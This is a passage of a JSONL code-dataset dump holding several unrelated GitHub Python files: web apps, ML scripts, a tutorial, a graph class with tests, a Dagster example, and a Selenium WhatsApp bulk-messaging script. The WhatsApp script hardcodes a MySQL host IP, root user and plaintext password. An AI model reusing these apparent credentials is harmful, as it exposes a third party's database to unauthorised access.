Sort',findMiddle(E,half))\r\nprint('')\r\n\r\n            \r\n    ","repo_name":"DanielaFlore/CS2302","sub_path":"cs3Lab2.py","file_name":"cs3Lab2.py","file_ext":"py","file_size_in_byte":7663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29520327786","text":"# -*- coding: utf-8 -*-\nimport random\nimport inflect\nimport pickle\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\np = inflect.engine()\nwith open('nouns.pck', 'rb') as noun_file:\n    nouns = pickle.load(noun_file)\nwith open('adjs.pck', 'rb') as adj_file:\n    adjs = pickle.load(adj_file)\nwith open('verbs.pck', 'rb') as verb_file:\n    verbs = pickle.load(verb_file)\n\nphrases = [\n    u'protecting Australia from',\n    u'defending Australia’s',\n    u'returning Australia’s',\n    u'{} illegal'\n    ]\n\n\ndef create_message():\n    return (u'Operation {} {}'.format(\n            random.choice(adjs).title(),\n            random.choice(nouns).title()),\n            u'{} {}'.format(\n            random.choice(phrases).format(p.present_participle(random.choice(verbs))),\n            p.plural(random.choice(nouns)))\n            )\n\n\n@app.route('/')\ndef operation():\n    operation, tagline = create_message()\n    return render_template('index.html', operation=operation, tagline=tagline)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"wragge/operationrandomwords","sub_path":"operationweb.py","file_name":"operationweb.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15962308310","text":"from fastapi import FastAPI\n\nfrom api.ArimaTrainer import ArimaTrainer\nfrom api.Country import Country\nfrom api.RnnPredictor import RnnPredictor\nfrom api.RnnTrainer import RnnTrainer\n\n\napi = FastAPI()\n\n\n# define a root `/` endpoint\n@api.get(\"/\")\ndef index():\n    return {\"ok\": \"Hello CO2 team!\"}\n\n\n@api.get(\"/predict\")\nasync def predict(country: Country = Country.China,\n                  max_predicted_year: int = 2030) -> bool:\n    assert max_predicted_year > 2022, \"max_predicted_year must be greater than 2020\"\n    assert max_predicted_year < 2050, \"max_predicted_year must be less than 2050\"\n\n    return ArimaTrainer().execute(country, max_predicted_year, 'cloud')\n\n\n# closed for online training\n# @api.get(\"/train/rnn\")\n# async def predict(horizon: int = 9,\n#                   learning_rate: float = 0.001,\n#                   lstm_units: int = 50,\n#                   first_dense_layer: int = 32,\n#                   second_dense_layer: int = 16,\n#                   loss: str = 'mse',\n#                   patience: int = 5,\n#                   validation_split: float = 0.25,\n#                   batch_size: int = 32,\n#                   epochs: int = 100,\n#                   dropout_rate: float = 0.2,\n#                   add_second_layer: bool = False,\n#                   env: str = 'cloud') -> bool:\n#     return RnnTrainer().execute(horizon=horizon,\n#                                 learning_rate=learning_rate,\n#                                 lstm_units=lstm_units,\n#                                 first_dense_layer=first_dense_layer,\n#                                 second_dense_layer=second_dense_layer,\n#                                 loss=loss,\n#                                 patience=patience,\n#                                 validation_split=validation_split,\n#                                 batch_size=batch_size,\n#                                 epochs=epochs,\n#                                 dropout_rate=dropout_rate,\n#                                 add_second_layer=add_second_layer,\n#                                 env=env)\n\n\n@api.get(\"/predict/rnn\")\nasync def predict(country_code: str = 'FRA', horizon: int = 9) -> bool:\n    return RnnPredictor().predict(country_code, horizon, 'cloud')\n","repo_name":"L-Fandangle042/CO2_Emission_Indicator","sub_path":"api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"32164818368","text":"import os \r\nimport cv2 \r\n\r\npath=\"album/\"\r\nimages=[]\r\n\r\nfor i in os.listdir(path):\r\n   # print(i)\r\n\r\n    name,extention=os.path.splitext(i)\r\n\r\n    if extention in ['.jpg','.png']:\r\n        file_name= path+\"/\"+i\r\n        print(file_name)\r\n\r\n        images.append(file_name)\r\ncount=len(images)\r\nprint(count)\r\n\r\nframe = cv2.imread(images[0])\r\nwidth,hieght,channels=frame.shape\r\nsize=(width,hieght)\r\nprint(size)\r\n\r\nout=cv2.VideoWriter(\"project.avi\",cv2.VideoWriter_fourcc(*\"DIVX\"),0.8,size)\r\n\r\nfor i in range(0, count-1):\r\n    frame=cv2.imread(images[i])\r\n    out.write(frame)\r\nout.release()\r\nprint(\"album is created\")","repo_name":"Abbas1307/117","sub_path":"117.py","file_name":"117.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18898948941","text":"#exponente = 0\n\n# print(\"2 a la potencia \" + str(exponente) + \" es igual a \" +str(2**exponente) )\n\n#-----------------------------------------------------\n\"\"\"while exponente < 5:\n  print(\"2 a la potencia \" + str(exponente) + \" es igual a \" +str(2**exponente) )\n  exponente = exponente + 1\"\"\"\n\n\n\"\"\"Buenas practicas\ndefinir una funcion principal\"\"\"\n\n#ciclo WHILE\n#Definir un límite para el resultado del exponente:\n\n# def run():\n#   LIMITE = 1000\n\n#   exponente = 0\n#   resultado = 2**exponente\n#   while resultado < LIMITE:\n#     print(f'2 a la potencia {exponente} es igual a {resultado}' )\n#     exponente = exponente + 1\n#     resultado = 2 ** exponente\n\n\n\n#Ciclo For\nfrom typing import Mapping\n\n\ndef run():\n  # for contador in list(range(100)):\n  #   print(contador)\n  for tabla in range(12):\n\t  print(f'11 por {tabla} es igual a {11*tabla}')\n\n\nif __name__== \"__main__\":   #Funcion principal\n  run()\n","repo_name":"CursosyPracticasPlatzi/curso_de_python","sub_path":"bucles.py","file_name":"bucles.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4491117943","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nimport joblib\n\n\ndef train():\n    df = pd.read_csv(r'/Users/sanjanasrinivasarao/Downloads/SBP_NEW.csv')\n\n    x = df[[\"Age\", \"Weight\"]]\n    y = df[\"SBP\"]\n\n    regr = LinearRegression()\n    regr.fit(x, y)\n\n    joblib.dump(regr, \"/Users/sanjanasrinivasarao/Downloads/newregr.pkl\")\n\ndef load():\n    clf = joblib.load(\"newregr.pkl\")\n    age = 18\n    weight = 60\n    x = pd.DataFrame([[age, weight]], columns=[\"Age\", \"Weight\"])\n    prediction = clf.predict(x)[0]\n    print(prediction)\n\nif __name__ == \"__main__\":\n    train()\n    load()\n","repo_name":"ss23046/ss23046.github.io","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18137853718","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.common.keys import Keys\nimport mysql.connector\n\n\nclass Whatsapp(object):\n    def __init__(self, id=None, mobile=None, message=None, saved_name=None):\n        self.id = id\n        self.mobile = mobile\n        self.message = message\n        self.saved_name = saved_name\n\n\ndef start_wp(numbers, cnx, browser):\n    for i in range(0, len(numbers)):\n        name = str(numbers[i].saved_name)\n        id = numbers[i].id\n        message = numbers[i].message\n        now = time.strftime('%Y-%m-%d %H:%M:%S')\n        elem = browser.find_element_by_xpath(\"//input[@title='Search or start new chat']\")\n        elem.click()\n        elem.send_keys(name)\n        time.sleep(10)\n        print(\"id - \"+str(id))\n        # browser.find_element_by_xpath(\"//*[@title='\"+name+\"']\").click()\n        try:\n            browser.find_element_by_xpath('//span[@title = \"{}\"]'.format(name)).click()\n            time.sleep(5)\n        except Exception as e:\n            print(\"failed\")\n            elem = browser.find_element_by_xpath(\"//input[@title='Search or start new chat']\")\n            elem.click()\n            elem.send_keys(\"\")\n            sql = \"UPDATE whatsapp SET status = 'failed', update_on = '\" + now + \"' WHERE id = '\" + str(id) + \"'\"\n            mycursor = cnx.cursor()\n            mycursor.execute(sql)\n            cnx.commit()\n            return\n\n        try:\n            elem = browser.find_element_by_xpath(\"//div[@data-tab='1']\")\n            elem.click()\n            elem.send_keys(message + Keys.ENTER)\n            sql = \"UPDATE whatsapp SET status = 'successful', update_on = '\"+now+\"' WHERE id = '\"+str(id)+\"'\"\n            mycursor = cnx.cursor()\n            mycursor.execute(sql)\n            cnx.commit()\n            print(\"successful\")\n            time.sleep(10)\n        except Exception as e:\n            sql = \"UPDATE whatsapp SET status = 'failed', update_on = '\" + now + \"' WHERE id = '\" + str(id) + \"'\"\n            mycursor = cnx.cursor()\n            mycursor.execute(sql)\n            cnx.commit()\n            print(\"failed\")\n\n\ndef start_surf(browser):\n    try:\n        cnx = mysql.connector.connect(\n            host=\"78.47.90.52\",\n            port=3306,\n            user=\"root\",\n            password=\"Surajit@123\",\n            database=\"whatsapp\")\n        mycursor = cnx.cursor()\n    except Exception as e:\n        print(\"Invalid DB connection\")\n        browser.close()\n        exit(1)\n    print(\"Connecting DB...\")\n    print(\"Getting data...\")\n    mycursor.execute(\"SELECT * FROM whatsapp where status = 'pending' limit 100\")\n    myresult = mycursor.fetchall()\n    print(\"Got - \" + str(len(myresult)) + \" records\")\n    if len(myresult) > 0:\n        number_list = []\n        for x in myresult:\n            number_list.append(Whatsapp(x[0], x[1], x[5], x[2]))\n        start_wp(number_list, cnx, browser)\n    print(\"Waiting for getting new data\")\n    time.sleep(60)\n    start_surf(browser)\n\n\nbrowser = webdriver.Chrome(executable_path='/run/media/surajit/962E95F42E95CE1D/Youtube/chromedriver')\nbrowser.get('https://web.whatsapp.com')\ntime.sleep(60) # uncomment it\nstart_surf(browser)\nbrowser.close()","repo_name":"surajitdeveloper/whatsappAutometion","sub_path":".extra_code/Whatsapp Automation/new_wa.py","file_name":"new_wa.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9407431978","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor: Vikram Nithyanandam\n\nDescription:\nThe following implementation is a robust unweighted Graph data structure\nimplemented using an adjacency matrix. This vertices and edges of this graph can be\neffectively initialized and modified while storing your chosen generic\nvalue in each vertex.\n\nAdjacency Matrix: https://mathworld.wolfram.com/AdjacencyMatrix.html\n\nPotential Future Ideas:\n- Add a flag to set edge weights on and set edge weights\n- Make edge weights and vertex values customizable to store whatever the client wants\n- Support multigraph functionality if the client wants it\n\"\"\"\nfrom __future__ import annotations\n\nimport random\nimport unittest\nfrom pprint import pformat\nfrom typing import Generic, TypeVar\n\nimport pytest\n\nT = TypeVar(\"T\")\n\n\nclass GraphAdjacencyMatrix(Generic[T]):\n    def __init__(\n        self, vertices: list[T], edges: list[list[T]], directed: bool = True\n    ) -> None:\n        \"\"\"\n        Parameters:\n        - vertices: (list[T]) The list of vertex names the client wants to\n        pass in. Default is empty.\n        - edges: (list[list[T]]) The list of edges the client wants to\n        pass in. Each edge is a 2-element list. Default is empty.\n        - directed: (bool) Indicates if graph is directed or undirected.\n        Default is True.\n        \"\"\"\n        self.directed = directed\n        self.vertex_to_index: dict[T, int] = {}\n        self.adj_matrix: list[list[int]] = []\n\n        # Falsey checks\n        edges = edges or []\n        vertices = vertices or []\n\n        for vertex in vertices:\n            self.add_vertex(vertex)\n\n        for edge in edges:\n            if len(edge) != 2:\n                msg = f\"Invalid input: {edge} must have length 2.\"\n                raise ValueError(msg)\n            self.add_edge(edge[0], edge[1])\n\n    def add_edge(self, source_vertex: T, destination_vertex: T) -> None:\n        \"\"\"\n        Creates an edge from source vertex to destination vertex. If any\n        given vertex doesn't exist or the edge already exists, a ValueError\n        will be thrown.\n        \"\"\"\n        if not (\n            self.contains_vertex(source_vertex)\n            and self.contains_vertex(destination_vertex)\n        ):\n            msg = (\n                f\"Incorrect input: Either {source_vertex} or \"\n                f\"{destination_vertex} does not exist\"\n            )\n            raise ValueError(msg)\n        if self.contains_edge(source_vertex, destination_vertex):\n            msg = (\n                \"Incorrect input: The edge already exists between \"\n                f\"{source_vertex} and {destination_vertex}\"\n            )\n            raise ValueError(msg)\n\n        # Get the indices of the corresponding vertices and set their edge value to 1.\n        u: int = self.vertex_to_index[source_vertex]\n        v: int = self.vertex_to_index[destination_vertex]\n        self.adj_matrix[u][v] = 1\n        if not self.directed:\n            self.adj_matrix[v][u] = 1\n\n    def remove_edge(self, source_vertex: T, destination_vertex: T) -> None:\n        \"\"\"\n        Removes the edge between the two vertices. If any given vertex\n        doesn't exist or the edge does not exist, a ValueError will be thrown.\n        \"\"\"\n        if not (\n            self.contains_vertex(source_vertex)\n            and self.contains_vertex(destination_vertex)\n        ):\n            msg = (\n                f\"Incorrect input: Either {source_vertex} or \"\n                f\"{destination_vertex} does not exist\"\n            )\n            raise ValueError(msg)\n        if not self.contains_edge(source_vertex, destination_vertex):\n            msg = (\n                \"Incorrect input: The edge does NOT exist between \"\n                f\"{source_vertex} and {destination_vertex}\"\n            )\n            raise ValueError(msg)\n\n        # Get the indices of the corresponding vertices and set their edge value to 0.\n        u: int = self.vertex_to_index[source_vertex]\n        v: int = self.vertex_to_index[destination_vertex]\n        self.adj_matrix[u][v] = 0\n        if not self.directed:\n            self.adj_matrix[v][u] = 0\n\n    def add_vertex(self, vertex: T) -> None:\n        \"\"\"\n        Adds a vertex to the graph. If the given vertex already exists,\n        a ValueError will be thrown.\n        \"\"\"\n        if self.contains_vertex(vertex):\n            msg = f\"Incorrect input: {vertex} already exists in this graph.\"\n            raise ValueError(msg)\n\n        # build column for vertex\n        for row in self.adj_matrix:\n            row.append(0)\n\n        # build row for vertex and update other data structures\n        self.adj_matrix.append([0] * (len(self.adj_matrix) + 1))\n        self.vertex_to_index[vertex] = len(self.adj_matrix) - 1\n\n    def remove_vertex(self, vertex: T) -> None:\n        \"\"\"\n        Removes the given vertex from the graph and deletes all incoming and\n        outgoing edges from the given vertex as well. If the given vertex\n        does not exist, a ValueError will be thrown.\n        \"\"\"\n        if not self.contains_vertex(vertex):\n            msg = f\"Incorrect input: {vertex} does not exist in this graph.\"\n            raise ValueError(msg)\n\n        # first slide up the rows by deleting the row corresponding to\n        # the vertex being deleted.\n        start_index = self.vertex_to_index[vertex]\n        self.adj_matrix.pop(start_index)\n\n        # next, slide the columns to the left by deleting the values in\n        # the column corresponding to the vertex being deleted\n        for lst in self.adj_matrix:\n            lst.pop(start_index)\n\n        # final clean up\n        self.vertex_to_index.pop(vertex)\n\n        # decrement indices for vertices shifted by the deleted vertex in the adj matrix\n        for vertex in self.vertex_to_index:\n            if self.vertex_to_index[vertex] >= start_index:\n                self.vertex_to_index[vertex] = self.vertex_to_index[vertex] - 1\n\n    def contains_vertex(self, vertex: T) -> bool:\n        \"\"\"\n        Returns True if the graph contains the vertex, False otherwise.\n        \"\"\"\n        return vertex in self.vertex_to_index\n\n    def contains_edge(self, source_vertex: T, destination_vertex: T) -> bool:\n        \"\"\"\n        Returns True if the graph contains the edge from the source_vertex to the\n        destination_vertex, False otherwise. If any given vertex doesn't exist, a\n        ValueError will be thrown.\n        \"\"\"\n        if not (\n            self.contains_vertex(source_vertex)\n            and self.contains_vertex(destination_vertex)\n        ):\n            msg = (\n                f\"Incorrect input: Either {source_vertex} \"\n                f\"or {destination_vertex} does not exist.\"\n            )\n            raise ValueError(msg)\n\n        u = self.vertex_to_index[source_vertex]\n        v = self.vertex_to_index[destination_vertex]\n        return self.adj_matrix[u][v] == 1\n\n    def clear_graph(self) -> None:\n        \"\"\"\n        Clears all vertices and edges.\n        \"\"\"\n        self.vertex_to_index = {}\n        self.adj_matrix = []\n\n    def __repr__(self) -> str:\n        first = \"Adj Matrix:\\n\" + pformat(self.adj_matrix)\n        second = \"\\nVertex to index mapping:\\n\" + pformat(self.vertex_to_index)\n        return first + second\n\n\nclass TestGraphMatrix(unittest.TestCase):\n    def __assert_graph_edge_exists_check(\n        self,\n        undirected_graph: GraphAdjacencyMatrix,\n        directed_graph: GraphAdjacencyMatrix,\n        edge: list[int],\n    ) -> None:\n        assert undirected_graph.contains_edge(edge[0], edge[1])\n        assert undirected_graph.contains_edge(edge[1], edge[0])\n        assert directed_graph.contains_edge(edge[0], edge[1])\n\n    def __assert_graph_edge_does_not_exist_check(\n        self,\n        undirected_graph: GraphAdjacencyMatrix,\n        directed_graph: GraphAdjacencyMatrix,\n        edge: list[int],\n    ) -> None:\n        assert not undirected_graph.contains_edge(edge[0], edge[1])\n        assert not undirected_graph.contains_edge(edge[1], edge[0])\n        assert not directed_graph.contains_edge(edge[0], edge[1])\n\n    def __assert_graph_vertex_exists_check(\n        self,\n        undirected_graph: GraphAdjacencyMatrix,\n        directed_graph: GraphAdjacencyMatrix,\n        vertex: int,\n    ) -> None:\n        assert undirected_graph.contains_vertex(vertex)\n        assert directed_graph.contains_vertex(vertex)\n\n    def __assert_graph_vertex_does_not_exist_check(\n        self,\n        undirected_graph: GraphAdjacencyMatrix,\n        directed_graph: GraphAdjacencyMatrix,\n        vertex: int,\n    ) -> None:\n        assert not undirected_graph.contains_vertex(vertex)\n        assert not directed_graph.contains_vertex(vertex)\n\n    def __generate_random_edges(\n        self, vertices: list[int], edge_pick_count: int\n    ) -> list[list[int]]:\n        assert edge_pick_count <= len(vertices)\n\n        random_source_vertices: list[int] = random.sample(\n            vertices[0 : int(len(vertices) / 2)], edge_pick_count\n        )\n        random_destination_vertices: list[int] = random.sample(\n            vertices[int(len(vertices) / 2) :], edge_pick_count\n        )\n        random_edges: list[list[int]] = []\n\n        for source in random_source_vertices:\n            for dest in random_destination_vertices:\n                random_edges.append([source, dest])\n\n        return random_edges\n\n    def __generate_graphs(\n        self, vertex_count: int, min_val: int, max_val: int, edge_pick_count: int\n    ) -> tuple[GraphAdjacencyMatrix, GraphAdjacencyMatrix, list[int], list[list[int]]]:\n        if max_val - min_val + 1 < vertex_count:\n            raise ValueError(\n                \"Will result in duplicate vertices. Either increase \"\n                \"range between min_val and max_val or decrease vertex count\"\n            )\n\n        # generate graph input\n        random_vertices: list[int] = random.sample(\n            range(min_val, max_val + 1), vertex_count\n        )\n        random_edges: list[list[int]] = self.__generate_random_edges(\n            random_vertices, edge_pick_count\n        )\n\n        # build graphs\n        undirected_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=random_edges, directed=False\n        )\n        directed_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=random_edges, directed=True\n        )\n\n        return undirected_graph, directed_graph, random_vertices, random_edges\n\n    def test_init_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        # test graph initialization with vertices and edges\n        for num in random_vertices:\n            self.__assert_graph_vertex_exists_check(\n                undirected_graph, directed_graph, num\n            )\n\n        for edge in random_edges:\n            self.__assert_graph_edge_exists_check(\n                undirected_graph, directed_graph, edge\n            )\n\n        assert not undirected_graph.directed\n        assert directed_graph.directed\n\n    def test_contains_vertex(self) -> None:\n        random_vertices: list[int] = random.sample(range(101), 20)\n\n        # Build graphs WITHOUT edges\n        undirected_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=False\n        )\n        directed_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=True\n        )\n\n        # Test contains_vertex\n        for num in range(101):\n            assert (num in random_vertices) == undirected_graph.contains_vertex(num)\n            assert (num in random_vertices) == directed_graph.contains_vertex(num)\n\n    def test_add_vertices(self) -> None:\n        random_vertices: list[int] = random.sample(range(101), 20)\n\n        # build empty graphs\n        undirected_graph: GraphAdjacencyMatrix = GraphAdjacencyMatrix(\n            vertices=[], edges=[], directed=False\n        )\n        directed_graph: GraphAdjacencyMatrix = GraphAdjacencyMatrix(\n            vertices=[], edges=[], directed=True\n        )\n\n        # run add_vertex\n        for num in random_vertices:\n            undirected_graph.add_vertex(num)\n\n        for num in random_vertices:\n            directed_graph.add_vertex(num)\n\n        # test add_vertex worked\n        for num in random_vertices:\n            self.__assert_graph_vertex_exists_check(\n                undirected_graph, directed_graph, num\n            )\n\n    def test_remove_vertices(self) -> None:\n        random_vertices: list[int] = random.sample(range(101), 20)\n\n        # build graphs WITHOUT edges\n        undirected_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=False\n        )\n        directed_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=True\n        )\n\n        # test remove_vertex worked\n        for num in random_vertices:\n            self.__assert_graph_vertex_exists_check(\n                undirected_graph, directed_graph, num\n            )\n\n            undirected_graph.remove_vertex(num)\n            directed_graph.remove_vertex(num)\n\n            self.__assert_graph_vertex_does_not_exist_check(\n                undirected_graph, directed_graph, num\n            )\n\n    def test_add_and_remove_vertices_repeatedly(self) -> None:\n        random_vertices1: list[int] = random.sample(range(51), 20)\n        random_vertices2: list[int] = random.sample(range(51, 101), 20)\n\n        # build graphs WITHOUT edges\n        undirected_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices1, edges=[], directed=False\n        )\n        directed_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices1, edges=[], directed=True\n        )\n\n        # test adding and removing vertices\n        for i, _ in enumerate(random_vertices1):\n            undirected_graph.add_vertex(random_vertices2[i])\n            directed_graph.add_vertex(random_vertices2[i])\n\n            self.__assert_graph_vertex_exists_check(\n                undirected_graph, directed_graph, random_vertices2[i]\n            )\n\n            undirected_graph.remove_vertex(random_vertices1[i])\n            directed_graph.remove_vertex(random_vertices1[i])\n\n            self.__assert_graph_vertex_does_not_exist_check(\n                undirected_graph, directed_graph, random_vertices1[i]\n            )\n\n        # remove all vertices\n        for i, _ in enumerate(random_vertices1):\n            undirected_graph.remove_vertex(random_vertices2[i])\n            directed_graph.remove_vertex(random_vertices2[i])\n\n            self.__assert_graph_vertex_does_not_exist_check(\n                undirected_graph, directed_graph, random_vertices2[i]\n            )\n\n    def test_contains_edge(self) -> None:\n        # generate graphs and graph input\n        vertex_count = 20\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(vertex_count, 0, 100, 4)\n\n        # generate all possible edges for testing\n        all_possible_edges: list[list[int]] = []\n        for i in range(vertex_count - 1):\n            for j in range(i + 1, vertex_count):\n                all_possible_edges.append([random_vertices[i], random_vertices[j]])\n                all_possible_edges.append([random_vertices[j], random_vertices[i]])\n\n        # test contains_edge function\n        for edge in all_possible_edges:\n            if edge in random_edges:\n                self.__assert_graph_edge_exists_check(\n                    undirected_graph, directed_graph, edge\n                )\n            elif [edge[1], edge[0]] in random_edges:\n                # since this edge exists for undirected but the reverse may\n                # not exist for directed\n                self.__assert_graph_edge_exists_check(\n                    undirected_graph, directed_graph, [edge[1], edge[0]]\n                )\n            else:\n                self.__assert_graph_edge_does_not_exist_check(\n                    undirected_graph, directed_graph, edge\n                )\n\n    def test_add_edge(self) -> None:\n        # generate graph input\n        random_vertices: list[int] = random.sample(range(101), 15)\n        random_edges: list[list[int]] = self.__generate_random_edges(random_vertices, 4)\n\n        # build graphs WITHOUT edges\n        undirected_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=False\n        )\n        directed_graph = GraphAdjacencyMatrix(\n            vertices=random_vertices, edges=[], directed=True\n        )\n\n        # run and test add_edge\n        for edge in random_edges:\n            undirected_graph.add_edge(edge[0], edge[1])\n            directed_graph.add_edge(edge[0], edge[1])\n            self.__assert_graph_edge_exists_check(\n                undirected_graph, directed_graph, edge\n            )\n\n    def test_remove_edge(self) -> None:\n        # generate graph input and graphs\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        # run and test remove_edge\n        for edge in random_edges:\n            self.__assert_graph_edge_exists_check(\n                undirected_graph, directed_graph, edge\n            )\n            undirected_graph.remove_edge(edge[0], edge[1])\n            directed_graph.remove_edge(edge[0], edge[1])\n            self.__assert_graph_edge_does_not_exist_check(\n                undirected_graph, directed_graph, edge\n            )\n\n    def test_add_and_remove_edges_repeatedly(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        # make some more edge options!\n        more_random_edges: list[list[int]] = []\n\n        while len(more_random_edges) != len(random_edges):\n            edges: list[list[int]] = self.__generate_random_edges(random_vertices, 4)\n            for edge in edges:\n                if len(more_random_edges) == len(random_edges):\n                    break\n                elif edge not in more_random_edges and edge not in random_edges:\n                    more_random_edges.append(edge)\n\n        for i, _ in enumerate(random_edges):\n            undirected_graph.add_edge(more_random_edges[i][0], more_random_edges[i][1])\n            directed_graph.add_edge(more_random_edges[i][0], more_random_edges[i][1])\n\n            self.__assert_graph_edge_exists_check(\n                undirected_graph, directed_graph, more_random_edges[i]\n            )\n\n            undirected_graph.remove_edge(random_edges[i][0], random_edges[i][1])\n            directed_graph.remove_edge(random_edges[i][0], random_edges[i][1])\n\n            self.__assert_graph_edge_does_not_exist_check(\n                undirected_graph, directed_graph, random_edges[i]\n            )\n\n    def test_add_vertex_exception_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        for vertex in random_vertices:\n            with pytest.raises(ValueError):\n                undirected_graph.add_vertex(vertex)\n            with pytest.raises(ValueError):\n                directed_graph.add_vertex(vertex)\n\n    def test_remove_vertex_exception_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        for i in range(101):\n            if i not in random_vertices:\n                with pytest.raises(ValueError):\n                    undirected_graph.remove_vertex(i)\n                with pytest.raises(ValueError):\n                    directed_graph.remove_vertex(i)\n\n    def test_add_edge_exception_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        for edge in random_edges:\n            with pytest.raises(ValueError):\n                undirected_graph.add_edge(edge[0], edge[1])\n            with pytest.raises(ValueError):\n                directed_graph.add_edge(edge[0], edge[1])\n\n    def test_remove_edge_exception_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        more_random_edges: list[list[int]] = []\n\n        while len(more_random_edges) != len(random_edges):\n            edges: list[list[int]] = self.__generate_random_edges(random_vertices, 4)\n            for edge in edges:\n                if len(more_random_edges) == len(random_edges):\n                    break\n                elif edge not in more_random_edges and edge not in random_edges:\n                    more_random_edges.append(edge)\n\n        for edge in more_random_edges:\n            with pytest.raises(ValueError):\n                undirected_graph.remove_edge(edge[0], edge[1])\n            with pytest.raises(ValueError):\n                directed_graph.remove_edge(edge[0], edge[1])\n\n    def test_contains_edge_exception_check(self) -> None:\n        (\n            undirected_graph,\n            directed_graph,\n            random_vertices,\n            random_edges,\n        ) = self.__generate_graphs(20, 0, 100, 4)\n\n        for vertex in random_vertices:\n            with pytest.raises(ValueError):\n                undirected_graph.contains_edge(vertex, 102)\n            with pytest.raises(ValueError):\n                directed_graph.contains_edge(vertex, 102)\n\n        with pytest.raises(ValueError):\n            undirected_graph.contains_edge(103, 102)\n        with pytest.raises(ValueError):\n            directed_graph.contains_edge(103, 102)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"TheAlgorithms/Python","sub_path":"graphs/graph_adjacency_matrix.py","file_name":"graph_adjacency_matrix.py","file_ext":"py","file_size_in_byte":22062,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"}
+{"seq_id":"3182486743","text":"# start_serial_pipeline_marker_0\nimport csv\nimport os\n\nfrom dagster import execute_pipeline, pipeline, solid\n\n\n@solid\ndef load_cereals(context):\n    csv_path = os.path.join(os.path.dirname(__file__), \"cereal.csv\")\n    with open(csv_path, \"r\") as fd:\n        cereals = [row for row in csv.DictReader(fd)]\n\n    context.log.info(f\"Found {len(cereals)} cereals\".format())\n    return cereals\n\n\n@solid\ndef sort_by_calories(context, cereals):\n    sorted_cereals = list(\n        sorted(cereals, key=lambda cereal: cereal[\"calories\"])\n    )\n\n    context.log.info(f'Most caloric cereal: {sorted_cereals[-1][\"name\"]}')\n\n\n@pipeline\ndef serial_pipeline():\n    sort_by_calories(load_cereals())\n\n\n# end_serial_pipeline_marker_0\nif __name__ == \"__main__\":\n    result = execute_pipeline(serial_pipeline)\n    assert result.success\n","repo_name":"SimSolTechnologies/dagster","sub_path":"examples/docs_snippets/docs_snippets/intro_tutorial/basics/connecting_solids/serial_pipeline.py","file_name":"serial_pipeline.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
